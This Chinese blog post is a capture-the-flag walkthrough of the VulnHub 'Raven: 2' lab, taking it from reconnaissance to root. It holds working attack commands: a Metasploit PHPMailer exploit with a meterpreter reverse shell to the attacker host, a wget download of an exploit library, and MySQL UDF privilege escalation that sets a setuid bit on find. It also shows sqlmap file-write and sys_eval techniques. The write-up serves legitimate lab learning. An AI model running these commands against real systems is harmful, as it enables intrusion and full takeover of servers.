vulnhub靶机——RAVEN: 2


前言

      难度:中等,目标是需获取四个flag,下载ova文件,本文使用VirtualBox打开,下载地址:https://www.vulnhub.com/entry/raven-2,269/。本文涉及知识点有:靶机环境搭建,dirsearch工具使用,DS_Store信息泄露漏洞,wpscan使用,利用PHPMailer命令执行漏洞获取shell,UDF提权。。
      靶机地址:192.168.56.107
      kali地址:192.168.56.108


一、安装靶机

     1)选择管理—导入虚拟机电脑。
在这里插入图片描述
     2)选择RAVEN: 2下载的文件路径。
在这里插入图片描述
     3)选择导入安装到一个空白的文件夹。
在这里插入图片描述
     4)选择主机网络管理器。
在这里插入图片描述
     5)选择手动配置网卡。
在这里插入图片描述
     6)选择启用并配置DHCP服务器。
在这里插入图片描述
     7)靶机和kali的网卡1都设置成仅主机模式。
在这里插入图片描述
     8)kali的网卡2设置成NAT模式,因为有的时候会有联网的需求。
在这里插入图片描述

二、Web部分

     1)使用nmap扫描网段获取目标ip地址,发现192.168.56.107,确定为靶机地址。注释:192.168.56.100是本机设置的DHCP服务器的ip。

	# -sn 只做ping扫描,不做端口扫描
	# -PE 使用icmp协议请求包发现主机
	# -n 不进行反向DNS解析
	nmap -sn -PE -n 192.168.56.0/24  

在这里插入图片描述
     2)使用nmap扫描端口,结果如下:

	nmap -A -T4 -p- 192.168.56.107 

在这里插入图片描述
     3)先访问80端口使用dirsearch做目录扫描,然后四处点击看看,点击到BLOG时跳转到了WordPress界面,记一下。
在这里插入图片描述
在这里插入图片描述
     4)目录扫描结果如下所示。发现很多目录,逐个查看下。
在这里插入图片描述
     5)在http://192.168.56.107/vendor/目录下发现存在目录遍历漏洞,文件点点点,在PATH文件中发现了第一个flag。
在这里插入图片描述
在这里插入图片描述
     6)又在readme文件中发现了PHPMailer字眼,从VERSION文件中可知版本为5.2.16,经搜索后发现PHPMailer是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务。并且存在远程命令执行漏洞,在记一下,一会测试下是否存在历史漏洞。
在这里插入图片描述
在这里插入图片描述
     7)还发现了.DS_Store信息泄露,但是没有什么有效信息。利用工具地址:https://github.com/lijiejie/ds_store_exp。
在这里插入图片描述
     8)http://192.168.56.107/wordpress/wp-login.php,发现WordPress登录界面,发现提示找不到网站。
在这里插入图片描述
在这里插入图片描述
     9)使用wpscan漏扫工具检测一下是否存在WordPress的历史漏洞。wpscan为kali内置的工具,需注意wpscan需联网才能使用。可以发现找到不少信息,但是没有什么能获取权限的。
在这里插入图片描述
     10)再看看之前收集到的PHPMailer信息,网络搜索看看PHPMailer是否存在历史漏洞,发现存在,使用MSF搜索一下,有两个我们在按照提示使用info 0 和info 1 分别查看下描述情况。发现第一个就适合,我们之前发现此时的版本为5.2.16正好小于5.2.18

search phpmailer
info 0
use 0

在这里插入图片描述
在这里插入图片描述
     11)利用一下,看下需要设置什么。
在这里插入图片描述
     12)对比百度的教程,按照需求配置参数,先配置靶机的ip和邮箱功能页面和绝对路径,在查看设置可以发现kali反弹shell的ip是10的网段,因为是双网卡,所以我们把反弹shell的ip设置成192.168.56.107这个。之后在就配置完成了,端口都默认就好了。

	options
	set RHOSTS 192.168.56.107	  #靶机地址
	set TARGETURI /contact.php    #邮件功能页面
	set WEB_ROOT /var/www/html    #网站绝对路径
	set payload php/meterpreter/reverse_tcp	  #设置payload
	set LHOST 192.168.56.108     #kali地址
	run

在这里插入图片描述
在这里插入图片描述
     13)复制YNz20r0P.php拼接在URL后然后访问,即可成功反弹shell,但是很慢!

http://192.168.56.107/YNz20r0P.php

在这里插入图片描述
     14)在/var/www路径下可以看到flag2.txt文件
在这里插入图片描述
     15)metrtpreter命令使用不方便,我们直接切换成shell形式。然后全盘搜素flag,又找到了flag3,可以发现是一个图片我们直接拼接路劲访问。

find ./ -name "flag*"
http://192.168.56.107/wordpress/wp-content/uploads/2018/11/flag3.png

在这里插入图片描述
在这里插入图片描述
     16)使用python一句话反弹交互式shell。

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
     17)然后全局搜索配置文件,发现了四个逐一查看一下。

	find ./ -name "*fig*"

在这里插入图片描述
     18)在wp-config.php文件中发现了mysql的数据库账号密码为:root/R@v3nSecurity。

	cat html/wordpress/wp-config.php

在这里插入图片描述
     19)使用账号密码成功登录数据库。

	mysql -uroot -pR@v3nSecurity

在这里插入图片描述

三、提权部分

     1)MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

ps -aux|grep mysql  #查看mysql的运行权限
select version();   #查看mysql版本
select @@basedir;   #确认mysql安装位置
show variables like '%basedir%';    #确认mysql安装位置
show variables like '%secure%';  #查看可导出文件位置

,
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

     2)MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

show variables like '%plugin%';   #查找插件位置
show variables like '%compile%';   #查看系统版本

在这里插入图片描述
在这里插入图片描述
     3)通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到方便操作的目录。我是新建了一个目录也可以直接复制到桌面。

searchsploit 1518.c   #搜索1518.c
locate 1518.c	 #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c .  #复制到当前所在文件夹

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
     4)利用gcc编译,生成1518.so文件。

#参数:-g 生成调试信息
	  -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
	  -o:执行命令后的文件名
	  -lc:-l 库 c库名
	  -Wl选项告诉编译器将后面的参数传递给链接器。
      -soname则指定了动态库的soname(简单共享名,Short for shared object name)
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

在这里插入图片描述
     5)将该“.so”文件传输到靶机上的/tmp目录下。在kali上使用python开启http服务,在获取的shell中,切换到tmp目录下,并使用wget命令下载1518.so文件。
在这里插入图片描述
在这里插入图片描述
     6)再次登录mysql,并使用一下命令创建自定义函数。

# 连接mysql数据库
mysql -uroot -pR@v3nSecurity
# 使用mysql数据库
use mysql;
# 创建foo表
create table foo(line blob);
# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));
# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';
# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');
# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

在这里插入图片描述
     7)利用find命名执行whoami,发现当前为root权限。

find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;

在这里插入图片描述
     8)利用find命令获取root权限的shell并查找flag4.。
在这里插入图片描述

四、番外之MySQL提权——UDF提权

1.UDF提权利用前提条件

     1)mysql配置文件secure_file_priv项设置为空,(如果为NULL或/tmp/等指定目录,即无法自定义udf文件导出位置,则无法利用)。
     2)CREATE权限、FILE权限(root用户默认拥有所有权限)。
     3)Linux系统需要plugin目录的写入权限。
     4)Linux环境下的UDF提权大概率仅限于靶场环境中,原因:在Linux严格的系统权限下,mysql用户或web用户无plugin目录的写入权限。

# 查看当前数据库用户权限
select * from mysql.user where user = substring_index(user(), '@', 1)\G;

在这里插入图片描述

2.查找动态链接库

     1)在Windows中Mysql一般以System权限执行。故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。
     2)Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权。
     3)MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。一般sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。不过sqlmap 中自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。但是可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用。
     4)sqlmap 的 UDF 动态链接库文件位置:

  sqlmap根目录/data/udf/mysql

在这里插入图片描述
     cloak.py 的位置:

  /extra/cloak/cloak.py

在这里插入图片描述
     解码方法如下:

# 解码 32 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

     5)Metasploit 的 UDF 动态链接库文件位置:

  sqlmap根目录/data/udf/mysql

在这里插入图片描述
     Metasploit 自带的动态链接库文件无需解码,直接就可以使用。

3.查找插件位置

     1)下面就是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,登录MySQL的情况下可以用MySQL语句查询。

	show variables like '%plugin%';

在这里插入图片描述
     2)如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹。通过select @@basedir;语句可查找到MySQL的安装目录。

select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

在这里插入图片描述
     3)存在lib\plugin目录且有webshell时,直接上传udf文件。存在lib\plugin目录但没有webshell时,则需要以16进制编码写入udf文件。

4.写入动态链接库

     1)写入动态链接库可以分为下面几种情形,第一种为:SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。

# --file-write=本地文件路径
# --file-dest  写入目标路径
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

在这里插入图片描述
     2)没有注入的话可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的。

# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

     可以利用 MySQL 自带的 hex 函数来获取十六进制。

# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

     3)如遇到这个错误,可能是因为使用 lib_mysqludf_sys_64.dll 失败了,使用 lib_mysqludf_sys_32.dll 就会成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的。

ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )

5.创建自定义函数并调用命令

     1)在MySQL中可以使用以下命令,

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

     2)导入成功后查看一下 mysql 函数里面是否新增了 sys_eval。

select * from mysql.func;

在这里插入图片描述
     3)之后就可以通过创建的这个函数来执行系统命令了。如果在 Windows 系统下的话应该就是最高权限了。

select sys_eval('whoami');

6.删除自定义函数

     1)在MySQL中使用以下命令删除自定义函数。

	drop function sys_eval;

猜你喜欢

转载自blog.csdn.net/qq_44029310/article/details/126491848